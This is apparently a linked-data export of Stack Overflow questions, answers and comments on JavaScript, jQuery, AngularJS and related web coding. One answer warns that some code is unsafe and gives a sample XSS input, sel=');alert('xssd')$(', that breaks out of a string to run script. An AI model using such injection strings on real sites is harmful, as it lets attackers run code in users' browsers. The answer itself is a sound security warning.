possible better answer: http://stackoverflow.com/a/25801124

http://stackoverflow.com/comment/40224408
has text: The class 'showing' doesn't effect the overlay. I want the overlay to be invisible initially, so I've set it to "display: none". I just want to toggle it on and off on click of "navbar_menu". I've tried what you suggested however it doesn't seem to be toggling on and off. It toggles on and then stays on.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25728537

http://stackoverflow.com/comment/40206930
type: QuestionComment
type: Comment
has text: Something like this http://stackoverflow.com/questions/23186851/how-to-locate-and-type-something-in-the-textbox/23192948#23192948 or this http://stackoverflow.com/questions/15122864/selenium-wait-until-document-is-ready
comment on: http://stackoverflow.com/q/25718133
score: 0

http://stackoverflow.com/comment/40249279
score: 0
type: AnswerComment
type: Comment
has text: Be careful with `getElementsByName` as in some browsers it will include elements with a matching `id=""` attribute value, not just `name=""`.
comment on: http://stackoverflow.com/a/25742163

http://stackoverflow.com/a/25770721
has body: No, it is not safe. It's vulnerable to an XSS attack vector. For example, for sel=');alert('xssd')$(' an alert will show on the user's screen. This will allow attackers to execute arbitrary JavaScript. It can execute code to log them out or perform actions for them on their website, or show a prompt that asks them for their password for revalidation.
has comment: http://stackoverflow.com/comment/40301426
type: Answer
has comment: http://stackoverflow.com/comment/40341506
has comment: http://stackoverflow.com/comment/40301578
score: 4
has comment: http://stackoverflow.com/comment/40301453
upvote count: 4
answers question: http://stackoverflow.com/q/25770635
downvote count: 0

http://stackoverflow.com/comment/40200093
has text: @Oriol: Thanks for the clarification, I didn't know that. I'd still prefer the quotes, but that's just me. :)
type: AnswerComment
comment on: http://stackoverflow.com/a/25715711
score: 0
type: Comment

http://stackoverflow.com/a/25786043
has body: The query format you need doesn't look like a very common one. I think the easiest solution will be to format your object yourself: var fillQuery = function(query, prefix, object) { _.each(object, function(val, key) { var k = (prefix) ? prefix + '[' + key + ']' : key; if(_.isObject(val)) { fillQuery(query, k, val); } else { query[k] = '' + val; } }); return query; }; var objectToQuery = function(object) { return fillQuery({}, null, object); }; See here in action.
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25769743
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40340831
answers question: http://stackoverflow.com/q/25769743
type: Answer

http://stackoverflow.com/a/25802318
answers question: http://stackoverflow.com/q/25802276
type: Answer
score: 2
upvote count: 2
has body: You could use $index inside it.
downvote count: 0

http://stackoverflow.com/a/25730833
answers question: http://stackoverflow.com/q/25730699
has body: Don't execute Math.random() on each invocation of tnlib, but as a static variable: (function () { function tnd() { return new tnlib(); } function tnlib() { } tnlib.prototype.version = function(){ console.log('1.0'); }; tnlib.prototype.pv = Math.random()*10000000000000000; if (!window.tnd) { window.tnd = tnd; } }()); (or, if you really need to make pv an instance property): var staticPv = Math.random()*10000000000000000; function tnlib() { this.pv = staticPv; … }
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40232494
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/25730699
upvote count: 1

http://stackoverflow.com/q/25742179
has answer: http://stackoverflow.com/a/25747728
type: AnsweredQuestion
tagged with: javascript
tagged with: jquery
has body: I want to sort my list element according to date in jquery or javascript. I have done my code in handlebars, which I am posting below: Can any one help me sort the elements according to date? I used javascript code (that is below) in another template for sort list element alphabetically and that is working fine: function sort() { var mylist = $('ul'); var listitems = mylist.children('li').get(); listitems.sort(function(a, b) { var compA = $(a).text().toUpperCase(); var compB = $(b).text().toUpperCase(); return (compA < compB) ? -1 : (compA > compB) ? 1 : 0; }) $.each(listitems, function(idx, itm) { mylist.append(itm); }); }
type: Question
accepted answer: http://stackoverflow.com/a/25747728
tagged with: http://stackoverflow.com/tag/html
score: 0
tagged with: handlebars.js
answer count: 1
has title: sort list tag according to date in jquery and handlebars

phonegap-plugins
tags question: http://stackoverflow.com/q/25780372
tags question: http://stackoverflow.com/q/25835124
tags question: http://stackoverflow.com/q/25828688
type: Tag
tag name: phonegap-plugins

http://stackoverflow.com/comment/40430799
has text: I used your code, but it didn't do anything to my pop-up.
type: Comment
comment on: http://stackoverflow.com/a/25840602
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40321431
type: QuestionComment
has text: @const_ref Then your LI element probably takes up more space than you are aware of. Try adding a background-color to the LI to see exactly how big the element is and use CSS to style it to the appropriate size.
comment on: http://stackoverflow.com/q/25781463
score: 0
type: Comment

http://stackoverflow.com/comment/41748381
type: QuestionComment
score: 0
has text: @kalman wow.. I feel so stupid now, you're right. Feel free to post answer and I will accept it.
comment on: http://stackoverflow.com/q/25866732
type: Comment

http://stackoverflow.com/comment/48516310
type: QuestionComment
comment on: http://stackoverflow.com/q/25714000
type: Comment
has text: I would prefer kendoUI, since it has EVERYTHING I need, and a lot of rooms to work with. Its SPA feature is (i must say) simple, but, it's easy to build your custom logic on top.
score: 0

http://stackoverflow.com/q/25820134
upvote count: 3
type: UnansweredQuestion
type: Question
score: 3
has body: I am planning to build my first complex directive, which is a component that lets the user crop and rotate an image that is provided and returns it as a Blob or Base64 string. I have been studying how other people have done it and I have used Angular-strap and UI-Bootstrap as a guide for understanding how to build efficient directives and ways to organize my code. What has me confused is that components like the Modal and Alert use a Provider to build the component and return it, and in the directive it uses such provider to generate the content on compile, while other components like Tabs use a combination of a single controller for all the logic and a set of one or many directives and sub-directives that use such controller to build on compile. So why do they use a Provider approach on some components and a Controller approach on others? What are the benefits of building all the logic inside a Provider than in a Controller? Another thing I've notices that their directives accept options through data attributes, which they parse on compile, why don't they use the directives scope to set global options?
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25857812
tagged with: angularjs
has title: AngularJs - Why directives like Angular-strap and UI-Bootstrap use providers to build their compotents

http://stackoverflow.com/q/25834819
has body: This may be basic but I could not find the result I needed in JAVASCRIPT from the research I did. there are two number variables. they are "mainnumber" and "buttonnumber" mainnumber is generated from math.random. buttonnumber is the number that is at the end of the different class names. That means buttonnumber = 1 when the clicked div has the class name class='example1' That means buttonnumber = 2 when the clicked div has the class name class='example2' etc. there are about 50 divs that have their own class name as example1,example2 etc. some class names are repeated among divs. when a button is clicked a function "compareaction" is called to compare "mainnumber" and "buttonnumber" and do a different function called "resultcorrect" or "resultwrong" depending on the comparison. // comparison code here function compareaction(buttonnumber){ if (mainnumber == buttonnumber){ resultcorrect(); } else { resultwrong(); } } I need to know how to pass the number at the end of class name (that is 1 or 2 or 3 or 4 etc) to the function. &lt;div class="example1" onclick="compareaction(\\number in class name as a parameter)"&gt;&lt;/div&gt;
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40419394
has answer: http://stackoverflow.com/a/25834869
type: UnansweredQuestion
tagged with: parameters
type: Question
tagged with: function
answer count: 1
tagged with: javascript
has title: How to pass the class name of a clicked div as a parameter to a function
tagged with: class
score: 0

http://stackoverflow.com/q/25748942
has title: Angular using a service variable
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25749015
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25749015
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25749977
tagged with: javascript
has answer: http://stackoverflow.com/a/25749977
score: 0
has body: I have injected a service into a directive, is there a way that I can share the data in the service in the directive like if I have some directive called resultsDirective, some service called dataService has been injected (making these up as I go along). Is there a way that I can access a variable from the service in the directive? for the sake of some implementation: angular.module("someModule").service("dataService", function() { var shareVariable; }) angular.module("someModule").directive("resultsDirective" , ["dataService", function(dataService) { return { restrict: , scope: , link: function() {} //sorry about the lack of implementation here, just made something skeletal } }]) so if I just wanted to console.log the shareVariable in the resultsDirective, how would I access that data? I am sure in Angular there is an easy way?

http://stackoverflow.com/comment/40306801
has text: What you're experiencing is colloquially referred to as "hoisting". Have a look here: http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html
comment on: http://stackoverflow.com/q/25773510
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/32418095
score: 3
upvote count: 3
has body: As stated here: there's two ways to address this – either you can listen to resize and call .popover('show') on active popovers (which will resize the popover) – or the better way is to use the container option so that the popover is positioned in the flow of the document with the triggering element A simple example: Paragraph
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25814303

http://stackoverflow.com/q/25787151
has answer: http://stackoverflow.com/a/25787185
has comment: http://stackoverflow.com/comment/40330928
has answer: http://stackoverflow.com/a/25787198
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40331384
has answer: http://stackoverflow.com/a/25787303
score: 0
has body: I'm trying to sum values from an input array but the sum it keeps returning NAN var sum = 0 //i have also tried parse(0,10); $(qty_name).each(function(){ var aValue = $(this).val(); //i have tried parseInt($(this).val(), 10) sum += aValue; //i have tried sum = parseInt(sum) + parseInt(aValue) }); alert(sum); i keep getting NaN. I'm coming from a php background so i've never had to deal with type casting. Please what am i missing?
has comment: http://stackoverflow.com/comment/40331087
favorite count: 0
has comment: http://stackoverflow.com/comment/40330909
upvote count: 2
answer count: 5
downvote count: 2
accepted answer: http://stackoverflow.com/a/25787303
has answer: http://stackoverflow.com/a/25787335
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25787240
has title: Summing of numbers in jquery returning NAN
possible better answer: http://stackoverflow.com/a/25787185
has comment: http://stackoverflow.com/comment/40330971
has comment: http://stackoverflow.com/comment/40330963
type: Question

http://stackoverflow.com/comment/40308533
comment on: http://stackoverflow.com/q/25774361
score: 0
type: Comment
type: QuestionComment
has text: It's `document.getElementById`, not just `getElementBId`

http://stackoverflow.com/q/25755873
favorite count: 0
has comment: http://stackoverflow.com/comment/40276590
tagged with: angularjs
has answer: http://stackoverflow.com/a/25756751
linked to: http://stackoverflow.com/q/13743058
has answer: http://stackoverflow.com/a/30215666
type: UnansweredQuestion
has body: I have the following code Email already exists This is working correctly and I am able to see the span element if the email entered in the "email" input field already exists in our db. However if I go into chrome console. and then type form.email.$error it says undefined. I can type in form.email and it shows me ​ So the question is why can't I see $error in chrome console? this value definitely exists because angular is reading it and based on the value it is deciding whether to show the span or not. Edit:: Upon further reading documentation, I feel that the directive which checks whether email is valid or not... sets the validity on the controller object (4th parameter . $setValidity ) but somehow the UI reads that $error from the UI element . so that's very confusing as to what is the actual workflow... where is the $error being set and from where it is being read. Can someone clarify this?
upvote count: 7
has title: ng-show expression ... how to debug it
tagged with: debugging
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/40275012
answer count: 2
downvote count: 0
score: 7

http://stackoverflow.com/comment/40396787
type: Comment
has text: I again have same issue this time one more loop is added @Bergi
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25756564

http://stackoverflow.com/q/25855046
score: 6
has answer: http://stackoverflow.com/a/25855166
type: AnsweredQuestion
has title: jQuery Add Key Value Pair to an Empty Object
favorite count: 0
type: Question
answer count: 2
has body: In jQuery, I can add multiple attributes to an element like so... var input = $('&lt;input/&gt;').attr({ type : 'text', value : 'New Value'}); My question is, how can I achieve this using a variable like this... var input = $('&lt;input/&gt;').attr(inputAttr); I was under the assumption that inputAttr should be an object and that I could add to that object. I must be mistaken. This was one of my many attempts to make this happen. var inputAttr = {}; inputAttr.add({ type: 'text' }); inputAttr.add({ value : 'New Value' }); I also tried like this.... var inputAttr = {}; inputAttr.add('type: text'); inputAttr.add('value : New Value'); I thought maybe inputAttr should be an array instead, which seems to output a correct string but not sure how to make it an object (which I think it should be). var inputAttr = []; inputAttr.push('type: text'); inputAttr.push('value : New Value'); // Then added object brackets like so var input = $('&lt;input/&gt;').attr({inputAttr}); Any help would be appreciated! Thank you in advance!
accepted answer: http://stackoverflow.com/a/25855166
upvote count: 6
tagged with: object
has answer: http://stackoverflow.com/a/25855182
possible better answer: http://stackoverflow.com/a/25855182
tagged with: arrays
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25820122
score: 1
type: Question
has answer: http://stackoverflow.com/a/25820726
downvote count: 0
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25820726
has body: What is the preferred way, if any, to instantiate a Backbone model from an existing model, assuming that the model to be instantiated is of a derived type of the existing model? The case I have in mind arises when dealing with nested models. For instance, let's say I am using DeepModel and I define a function on my "parent" model that returns this.get("childModel"). Now the child model is likely of type Backbone.Model but I would like it to be of type ChildModel which extends Backbone.Model. I have been doing this by literally copying over the interesting attributes one at a time. Surely there must be a better way...
answer count: 1
tagged with: backbone.js
tagged with: backbone-model
upvote count: 1
type: AnsweredQuestion
has title: Instantiate model from existing model in Backbone

http://stackoverflow.com/comment/40312312
type: QuestionComment
comment on: http://stackoverflow.com/q/25775681
has text: Hi Dan, I understand that line is breaking the script. I'm looking for a fix to adjust the scale based on scrolltop position. Thanks for any help
score: 0
type: Comment

http://stackoverflow.com/a/25758170
answers question: http://stackoverflow.com/q/25743459
type: Answer
has comment: http://stackoverflow.com/comment/40285386
has body: If you are cloning the div than I assume that there are duplicate ids, therefore you can use jquery's closest() function: tha you can use: $(document).on('click','#icodnId',function(evt){ $(this).closest('.yourclass').dowhateveryouwant(); evt.preventDefault(); });
score: 0

http://stackoverflow.com/comment/40337404
type: Comment
has text: Could you post the code you've tried?
score: 1
comment on: http://stackoverflow.com/q/25790624
type: QuestionComment

http://stackoverflow.com/q/25724077
has body: I'm trying to use this API example code for the AddMenu function. But every time I refresh my spreadsheet, I just get a menu called Script Center Menu with a single item Read Data. What on earth is going on?
has title: Google Script: Adding UI Menu always results in "Read data" menu item
answer count: 1
accepted answer: http://stackoverflow.com/a/25727874
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25727874
tagged with: javascript
tagged with: google-apps-script
score: 0
tagged with: google-apps

http://stackoverflow.com/a/77258798
downvote count: 0
answers question: http://stackoverflow.com/q/25725596
upvote count: 2
type: Answer
has body: As of Node.js v19.0.0 (noted in this changelog: https://github.com/nodejs/node/releases/tag/v19.0.0) globalThis.crypto in Node.js is now the same as webcrypto imported from 'crypto': So you can now do this and get the same (random) result in Node.js as in the browser: globalThis.crypto.getRandomValues Note the usage of globalThis rather than window. See docs here if needed: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis
score: 2

http://stackoverflow.com/q/25727770
downvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40222951
score: 0
has body: I know how to reload or refresh a parent window when we close child window using normal java script code. But i don't know what is the best way for saving data into database after clicking submit button and same time how to close child window with reloading parent window. In the same time the parent window will be effected by saving data from database. And i am also trying to make a child window where the width and height will be proportional with parent window's size. And when child window will be opened that time parent window will be totally disabled. if someone helps me for doing it perfectly and following standard structure then it will be nice for me.
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40222345
tagged with: css
linked to: http://stackoverflow.com/q/18321323
has title: refresh parent window after clicking on form submit button for saving data into database
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/61279818
type: Question
has comment: http://stackoverflow.com/comment/40222564
upvote count: 1

http://stackoverflow.com/comment/50540648
comment on: http://stackoverflow.com/q/25750742
has text: Did you change every \ to a / or just the file:// part? All of them need to changed.
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/136578056
score: 0
type: AnswerComment
has text: you can use Chrome Explorer
comment on: http://stackoverflow.com/a/54915305
type: Comment

http://stackoverflow.com/comment/40221972
has text: I am using required field so at the end it won't make a difference just want to find a way to learn.
comment on: http://stackoverflow.com/q/25727577
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40423277
score: 0
type: QuestionComment
has text: I dont see any problem with it
type: Comment
comment on: http://stackoverflow.com/q/25837166

http://stackoverflow.com/a/25815795
accepted answer of: http://stackoverflow.com/q/25815392
has comment: http://stackoverflow.com/comment/40384372
has body: I've just updated your Fiddle: Fiddle I've just changed the line where you remove the selected class for the parent header as follows - previously you removed the class in case the changed checkbox wasn't checked: $('input[type=checkbox]').change(function(){ if (this.checked) { $(this).parent().addClass('selected'); $(this).parent().prev().addClass('selected'); } else { //changed this below to count checked inputs $(this).parent().removeClass('selected'); } }); In case there are more checkboxes, just count all checked checkboxes and only remove the select class in case there are no checkboxes checked: $('input[type=checkbox]').change(function(){ if (this.checked) { $(this).parent().addClass('selected'); $(this).parent().prev().addClass('selected'); } else if($(this).parent().find("input:checked" ).length == 0) { $(this).parent().removeClass('selected'); } });
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25815392
score: 2
has comment: http://stackoverflow.com/comment/40384468

http://stackoverflow.com/comment/40428228
has text: You defined your matches in your manifest, did you not? From there it's a simple matter of searching it to match the URL.
comment on: http://stackoverflow.com/q/25839547
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40441294
type: Comment
comment on: http://stackoverflow.com/a/25809473
has text: As previously stated, I'm very new to Web dev, and first time using JSFiddle, I have no clue of, how to reproduce my problem in JSFiddle
type: AnswerComment
score: 0

http://stackoverflow.com/q/25821418
possible better answer: http://stackoverflow.com/a/25821467
tagged with: http://stackoverflow.com/tag/html
tagged with: php
has title: jQuery - Load content from another page - only once
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25821432
accepted answer: http://stackoverflow.com/a/25821432
has answer: http://stackoverflow.com/a/25821467
has body: I have this small script, which, when clicked on, will show the content from a page where I do a PHP query. My problem is, that if the user click multiply times, it will just load the content from the PHP page multiply times as well... This is my jQuery code: $('.notifications-load').on('click',function() { $('#notifications-holder').load("/?i=notifications"); }); And my HTML: 5 This is the PHP page (?i=notifications): $n=$dbh->prepare("SELECT * FROM users_notifications WHERE userid=0 OR userid=:userid"); $n->bindParam(":userid",$userdata['id']); $n->execute(); $data=$n->fetchAll(); foreach ($data as $value) { echo $value['text']; } If a user clicks example 3 times on .notifications-load , then the content from /?i=notifications will load 3 times into the #notifications-holder - how can I prevent this?
tagged with: javascript
score: 0
answer count: 2
tagged with: jquery
tagged with: ajax

http://stackoverflow.com/comment/40227664
has text: @MdSalahuddin: I want to click on a table cell and the table rows, where the column-corresponding table cell is not equal should be hidden (and shown again by clicking again).
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25730217

http://stackoverflow.com/q/25803005
type: AnsweredQuestion
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
has body: I am doing my project in mvc4. I have an Image folder and I want to open and list all images in that folder using jquery . I write the following jquery ajax code for that $(document).ready(function () { var URL = '../../Content/Gallery/GalleryImages/DG/'; $.ajax({ url: URL, success: function (data) { $(data).find("a:contains(.jpg)").each(function () { var images = $(this).attr("href"); alert(images); }); }, error: function (jqXHR, textStatus, errorThrown) { alert("error"); } }); }); But this always go to Error function. Can anybody please tell me what is the exact problem. Is there any problem in my URL path.
tagged with: ajax
has answer: http://stackoverflow.com/a/25803099
tagged with: asp.net-mvc-4
accepted answer: http://stackoverflow.com/a/25803099
has title: Open a Image folder Using Jquery
type: Question

http://stackoverflow.com/q/25851583
answer count: 1
has comment: http://stackoverflow.com/comment/40449267
has comment: http://stackoverflow.com/comment/40449124
type: UnansweredQuestion
tagged with: regex
has title: JS Regex: match one or multiple occurences
has comment: http://stackoverflow.com/comment/40449775
has comment: http://stackoverflow.com/comment/40449118
score: 0
has comment: http://stackoverflow.com/comment/40449090
type: Question
has comment: http://stackoverflow.com/comment/40449295
linked to: http://stackoverflow.com/q/25667268
has body: At the end of the day I need to regex match multiple or single occurences of a date string. For the single ocurrence of "12-2-2014" the regex /(\d+[-/\.]\d+[-/\.]\d+)/ will do. For testing "12-2-2014 22-05-2033", it will fail. With the the global flag active, it will test positive, but I recently learned the hard way, that when using the global flag, I am not able to unit test my regular expressions. Any help appreciated... EDIT: I am testing with QUnit for now. A simple test case would be: test("REGEX TEST", function () { var dates = ['12-2-2014', '14-5-2014'], regex = /(\d+[-/\.]\d+[-/\.]\d+)/g; ok(regex.test(dates.join(' '))); ok(regex.test(dates.join(' '))); ok(regex.test(dates.join(' '))); ok(regex.test(dates.join(' '))); }); -> I am getting different results for each evaluation...
has comment: http://stackoverflow.com/comment/40449790
tagged with: javascript
has answer: http://stackoverflow.com/a/25851775
has comment: http://stackoverflow.com/comment/40449464

http://stackoverflow.com/comment/40431830
type: AnswerComment
score: 0
type: Comment
has text: Thanks a lot divObj.textContent is working
comment on: http://stackoverflow.com/a/25841717

http://stackoverflow.com/q/25850408
has answer: http://stackoverflow.com/a/25850421
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25850421
favorite count: 0
score: -1
has body: can you please take a look at this code and let me know why I am not able to add the array Items into the .box? I already used the .text() and .html() var letters = []; var str = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z"; var letters = str.split(","); for (var j = 0; j &lt;letters.length; j++) { $(".box").html(letters[j]); } but they only add the last item "Z" into the box
answer count: 5
has answer: http://stackoverflow.com/a/25850427
downvote count: 2
has answer: http://stackoverflow.com/a/25850660
has comment: http://stackoverflow.com/comment/40447352
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25850427
upvote count: 1
has title: Issue on Processing Array Items Into a Div
has answer: http://stackoverflow.com/a/25850470
has answer: http://stackoverflow.com/a/25850750
type: Question

http://stackoverflow.com/a/25989207
type: Answer
upvote count: 3
has body: or simple you can use http://www.dustindiaz.com/scriptjs :) simple $script('http://d3js.org/d3.v3.min.js', function(){ d3.select("#testDiv") .data([4, 8, 15, 16, 23, 42]) .enter().append("p") .text(function(d) { return "I'm number " + d + "!"; }); });
score: 3
answers question: http://stackoverflow.com/q/25859799
downvote count: 0

http://stackoverflow.com/comment/40472485
comment on: http://stackoverflow.com/q/25864282
score: 0
type: Comment
type: QuestionComment
has text: There should be unique name for each textbox.

http://stackoverflow.com/a/25767991
has body: Because your celsius function is reading the wrong input, and since you haven't typed into that input when you test the function, it is an empty string which parseInt turns into Not A Number.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25767937
score: 2
upvote count: 2

http://stackoverflow.com/q/25856960
has answer: http://stackoverflow.com/a/25857065
score: 0
has answer: http://stackoverflow.com/a/25857073
accepted answer: http://stackoverflow.com/a/25857073
type: AnsweredQuestion
tagged with: list
type: Question
has body: I'm working on creating a web page that will allow a user to play a simple "Guess my Number" game. The game itself is working properly, however I am supposed to keep a running list of the numbers the user has guessed on the web page and also to let them know if they guess a number that they have already guessed. This is my first time working with Javascript and I'm having trouble figuring out how to do this. I'm sure I would need to create a variable such as "num" that would hold the numbers they've already guessed, but not sure how to do this since I don't want to replace the number already stored in this variable. Here is the code I have so far, like I said, this portion of the code works properly, just not sure how to go about what I've described. Guess My Number Would You Like To Play A Game? Thank you for checking out my game. Good luck! Created by Beth Tanner Directions: The game is very simple. I am thinking of a number between 1 and 10. It is your job to guess that number. If you do not guess correctly on your first attempt, don't worry, you can keep guessing until you guess the correct number. Your Guess: Here Are Your Guesses So Far: Any help would be greatly appreciated.
answer count: 2
has title: Keeping a running list on a page using Javascript
possible better answer: http://stackoverflow.com/a/25857065
tagged with: javascript

http://stackoverflow.com/comment/40369170
type: QuestionComment
score: 0
has text: He is correct, overflow-y doesn't work with "-webkit-column-width" but it does after you remove the prefixed one. (Chrome 37) Seems like a browser bug?
comment on: http://stackoverflow.com/q/25807672
type: Comment

http://stackoverflow.com/a/25783054
has comment: http://stackoverflow.com/comment/40515840
has comment: http://stackoverflow.com/comment/40509029
accepted answer of: http://stackoverflow.com/q/25782711
type: Answer
answers question: http://stackoverflow.com/q/25782711
downvote count: 0
score: 1
has body: It's the same thing, except that in the first case you have less code in your view declaration because Backbone handle setting the model in the view for you (this.model = model). In general Backbone can handle some parameters for you, you can take a look at the documentation to have more informations about it.
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/q/25837273
tagged with: ember-data
downvote count: 0
answer count: 1
has title: ember: related model appears in chrome inspecter but empty in template
tagged with: javascript
tagged with: ember.js
has answer: http://stackoverflow.com/a/25838735
favorite count: 0
upvote count: 1
tagged with: relationships
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40424358
accepted answer: http://stackoverflow.com/a/25838735
score: 1
has body: I've got the following code that successfully loads a garment. Chrome ember inspector shows that both Garment and its related model have loaded but I can't seem to display the related model (garment_colors) in the template. Would really appreciate any help! {{log garment_colors}} logs an empty array Class {type: function, content: Array[0], store: Class, _changesToSync: OrderedSet, loadingRecordsCount: 0…}__ember1410723197678: "ember522"__ember_meta__: Object__nextSuper: undefined_changesToSync: OrderedSetcontent: Array[0]isLoaded: trueisPolymorphic: undefinedloadingRecordsCount: 0name: "garment_colors"owner: Classstore: ClasstoString: function () { return ret; }type: App.GarmentColor__proto__: Object ember-1.7.0.js:14463 var attr = DS.attr, belongsTo = DS.belongsTo, hasMany = DS.hasMany; App.Garment = DS.Model.extend({ name: attr(), brand: attr(), description: attr(), materials: attr(), garment_colors: hasMany('garmentColor') }); App.GarmentColor = DS.Model.extend({ name: attr(), color: attr(), garment: belongsTo('garment') }); App.DesignerRoute = Ember.Route.extend({ model: function(params) { return this.store.find('garment',params.id); }, setupController: function(controller, model) { controller.set('content', model) console.log(model); }, }); My json { "garment":{ "id":2, "name":"Ultra shirt", "brand":"Gildan", "description":"this is the description", "materials":"5.6 oz. 50% preshrunk cotton, 50% polyester.", "garment_color_ids":[ 66, 67, 68 ] }, "garment_colors":[ { "id":66, "name":"Purple", "color":"#4f237a" }, { "id":67, "name":"Light Blue", "color":"#89b4df" }, { "id":68, "name":"Carolina Blue", "color":"#91b0e6" } ] } Template - other attributes like name and brand display properly.
type: Question

http://stackoverflow.com/comment/40216437
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25724520
type: AnswerComment
has text: This means that the class `active` is added to the `dd` element if `main.value` has the value `Tab1`

http://stackoverflow.com/a/25741413
type: Answer
answers question: http://stackoverflow.com/q/25741039
upvote count: 1
has body: Here is Demo for this , remove disabled from select tag so that user can select the options Jsfiddle http://jsfiddle.net/adarshkr/z9gcf40r/2/ Code HTML Select Method Question Password Email None question password email none CSS .hide{ display:none } JAVASCRIPT $("select").change(function(){ $("div").hide(); $("#"+$(this).val()).show(); });
score: 1
downvote count: 0

http://stackoverflow.com/comment/40352133
type: Comment
comment on: http://stackoverflow.com/a/25798101
type: AnswerComment
has text: It sets the scope.isHide to true - but the class doesn't get affected - whats wrong
score: 0

http://stackoverflow.com/comment/40476406
comment on: http://stackoverflow.com/q/25865940
score: 0
type: QuestionComment
type: Comment
has text: I added a comment to the first issue on Github, someone kindly responded and pointed me to the following issue: https://github.com/twbs/bootstrap/issues/13636 which exactly describes this behaviour. So yes, bootstrap should handle it, however sadly it's still open

http://stackoverflow.com/comment/40416569
comment on: http://stackoverflow.com/a/25827937
type: Comment
score: 0
type: AnswerComment
has text: ah so I'd literally have to put the rest of the program inside the callback, is that the idea? I was trying to avoid this to make it more maintainable since it's a sizeable program. I guess I was hoping for like a... "halt_process" method I can wrap the code in that I want to execute synchronously.

http://stackoverflow.com/comment/40605871
has text: @cereallarceny Yeah, that's a way to do it. Do look closely at what happens on the line `var svg = d3.select(this).selectAll("svg").data([data]);`, because it's potentially misleading. This is indeed a way to create the svg just once, by binding it to a single element array `[data]`. However, if you changed `.data([data])` to `.data([null])`, it would still have that same effect of creating the SVG just once. (The drawing of the line and area further below would fail as a result, but NOT the SVG creation). If you can understand why, then there you have it...
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25751945
type: AnswerComment

http://stackoverflow.com/a/25786617
answers question: http://stackoverflow.com/q/25786406
has body: The problem is in these lines: var divWidth = $(".col").width(); var divHeight = $(".col").width(); You got element's default value 100 (and, by the way, you use .width() for getting height) instead of 250, which element has after animation. You can simply set both these variables to 250: var divWidth = 250; var divHeight = 250; Update. Also for correct centring you can either hide all other divs: $('.col').not(this).hide(); or set position of element to absolute. $(this).css("position", "absolute"); Updated fiddle. It will be, of course, much better to use constant (variable) for 250, not just having multiple magic 250 values in code.
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40330493
has comment: http://stackoverflow.com/comment/40330597
type: Answer
has comment: http://stackoverflow.com/comment/40330171
accepted answer of: http://stackoverflow.com/q/25786406

http://stackoverflow.com/a/25856666
accepted answer of: http://stackoverflow.com/q/25856632
score: 4
answers question: http://stackoverflow.com/q/25856632
type: AcceptedAnswer
type: Answer
upvote count: 4
has body: It misses the $() around this. $(function() { $('.smooth-gradient').click(function() { alert($(this).height()); }); });
downvote count: 0

http://stackoverflow.com/a/25775201
has comment: http://stackoverflow.com/comment/42677379
has comment: http://stackoverflow.com/comment/40355161
type: Answer
score: 2
upvote count: 2
has body: The problem you have is, that the .F1 elements still stays in hover state even when the mouse is "outside" of their area, as long as the child element (.I1) is hovered. There is a way to circumvent the problem, althoug it is a bit hacky, as it needs an additional div element just for the effect. Add an additional div element to the html like this: &lt;figure class="F1"&gt;&lt;div class="hoverme"&gt;&lt;/div&gt;&lt;img class="I1" src="..." /&gt;&lt;/figure&gt; Next you use the following rules for your CSS: .hoverme { position: absolute; width: 100%; height: 100%; z-index:2; } .F1 &gt; .hoverme:hover ~ .I1 { width:300px; height:auto; position: absolute; z-index:1; left:0px; top:0;} The trick is, that we are using an overlay element (with z-index:2) which "senses" the hover, but the CSS rules are applied to the .I1 via the CSS sibling selector (~).
has comment: http://stackoverflow.com/comment/40336296
answers question: http://stackoverflow.com/q/25774412
has comment: http://stackoverflow.com/comment/40539724
downvote count: 0

http://stackoverflow.com/q/25748523
has answer: http://stackoverflow.com/a/25748572
has comment: http://stackoverflow.com/comment/40261094
has answer: http://stackoverflow.com/a/25748559
accepted answer: http://stackoverflow.com/a/25748559
tagged with: php
has answer: http://stackoverflow.com/a/59158521
type: Question
type: AnsweredQuestion
